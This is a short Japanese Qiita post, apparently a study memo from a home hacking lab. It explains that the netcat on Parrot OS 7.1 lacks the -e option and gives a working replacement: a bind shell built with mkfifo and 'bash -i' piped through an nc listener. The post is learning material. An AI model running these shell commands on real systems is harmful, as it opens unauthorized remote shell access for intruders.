0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Netcatのeオプションが存在せずBindShellが実行ができない

0
Posted at

はじめに

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

IPUSIRONさんの著書「ハッキング・ラボ のつくりかた 完全版 仮想環境におけるハッカー体験学習」をもとに、ハッキングの学習をしていたところ、BindShellの実行でつまづいたので備忘録として残します。

根拠はありませんが、使用しているOSが書籍とは違い「Parrot OS 7.1」であることが影響しているかもしれません。(書籍上では「Parrot OS 5.1.2」が使用されている)

問題点

サーバサイドでncを用いてBindShellを実行する場合、以下のコマンドを実行します。

nc -nlvp [port] -e /bin/bash

しかし、eオプションが無効と言われ、実行できませんでした。
image.png

念のため、ヘルプを見てもみつからない・・・
image.png

解決策

ncコマンドのmanを確認してみると以下の表記がありました。

image.png
「このnetcatに-cや-eオプションは存在しません。ncを使ってコマンドを実行したい場合は以下のコマンドでできますが、危険なので十分注意してください」というようなことが書いてます。

試してみたところ、BindShellの実行ができました。
実行したコマンドは以下の通り

# リセット
rm -f /tmp/f
# 名前付きパイプ作成
mkfifo /tmp/f
# BindShell実行
cat /tmp/f | /bin/bash -i 2>&1 | nc -nlvp [port] > /tmp/f
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?